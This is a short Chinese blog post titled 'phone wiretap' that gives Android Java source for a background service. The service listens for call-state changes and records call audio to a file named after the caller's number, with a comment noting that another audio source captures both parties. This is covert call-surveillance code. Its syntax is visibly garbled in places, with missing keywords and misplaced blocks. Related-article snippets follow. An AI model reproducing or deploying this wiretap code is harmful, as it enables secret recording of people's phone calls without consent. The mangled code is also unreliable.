电话窃听器

作者: 三度_f8ac | 来源:发表于2018-05-25 15:18 被阅读0次

import java.io.IOException;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class RecordService extends Service{@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {super.onCreate();//创建一个电话管理器对象TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);/创建电话状态的一个监听器MyPhoneStateListener listener = new MyPhoneStateListener();//调用电话管理器的listen方法注册监听//参数:1.监听器,2.要监听打电话的状态manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneStateListener extends PhoneStateListener{private MediaRecorder recorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {switch (state) {case TelephonyManager.CALL_STATE_IDLE:Log.e("TAG", "空闲状态"+"录音结束");(recorder != null) {try {recorder.stop();//停止录音} catch (Exception e) {e.printStackTrace();finally{recorder.reset();   //重置recorder.release(); //释放}}break;case TelephonyManager.CALL_STATE_RINGING:Log.e("TAG","响铃"+incomingNumber+",准备一个录音机");recorder = new MediaRecorder();//设置音频的输入源  MIC只能录自己的声音 ;VOICE_CALL可以录双方的声音recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频输出的格式.3gp(体积小 ,效果差 ,压缩狠)recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置音频的编码,AMR是早期彩屏彩铃手机上使用的音频格式,一般用做手机铃声//NB(窄带)   WB(宽带)recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置输入之后文件保存的路径recorder.setOutputFile(getCacheDir()+"/"+incomingNumber+".3gp");//录音机开始准备{recorder.prepare();} catch (IllegalStateException e) {/ TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}break;case TelephonyManager.CALL_STATE_OFFHOOK:Log.e("TAG","接电话了"+incomingNumber + ",开始录音");recorder.start();   // 开始录音default:break;}super.onCallStateChanged(state, incomingNumber);}}}

相关文章

  • 电话窃听器

    import java.io.IOException;import android.app.Service;imp...

  • 《窃听器》

    《窃听器》 ――罗诗默 我可能是架机器。窃听器。总是偷听游人的闲聊。但不听隐私。遇到隐私,我会自动屏蔽...

  • 窃听器

    ――罗诗默 我可能是架机器。窃听器。总是偷听游人的闲聊。但不听隐私。遇到隐私,我会自动屏蔽。 三个姑...

  • 观电视剧《局中人》剧评

    苏静婉回到沈家,确实有她的目的。从她在沈家装窃听器就证实了这一点。但她又毁掉窃听器,并打死了窃听的敌方特务情报人员...

  • 安然入睡

    他又检查一遍屋里,没有摄像头和窃听器。 终于松了一口气。 他坐下来喝了一杯水,拿起了电话。 “刘助理,告诉秘书,今...

  • 读巜白夜行》之六

    第十一章:今枝暗示筱冢,雪穂喜欢的是他。菅原绘里的电话被装窃听器。今枝意识到被雪穗反调查了。刑警笸垣找到今枝,他们...

  • forty-three

    allocation n.配置,分配,拨给 bug vi.捉虫,暴突,vt.装防盗报警器,激怒,装窃听器,n....

  • 手机窃听器的由来

    近年来从针孔摄像头的偷窥行为,到红外线镜片的相机,然后是带有摄像功能的手机,这些以往只有在电影中出现的镜头正在我们...

  • 手机窃听器的原理

    如果固定线路被人搭线窃听会对线路的电流、电频产生影响,声音的质量会有有影响,容易被察觉。与固定电话不同,手机是无线...

  • 私生饭,请你们离开

    致私生: 你们好! 你们的目的究竟是什么呢? 对着明星怼脸拍,在明星车上安装窃听器,跟踪明星,甚至...

网友评论

    本文标题:电话窃听器

    本文链接:https://www.haomeiwen.com/subject/obqujftx.html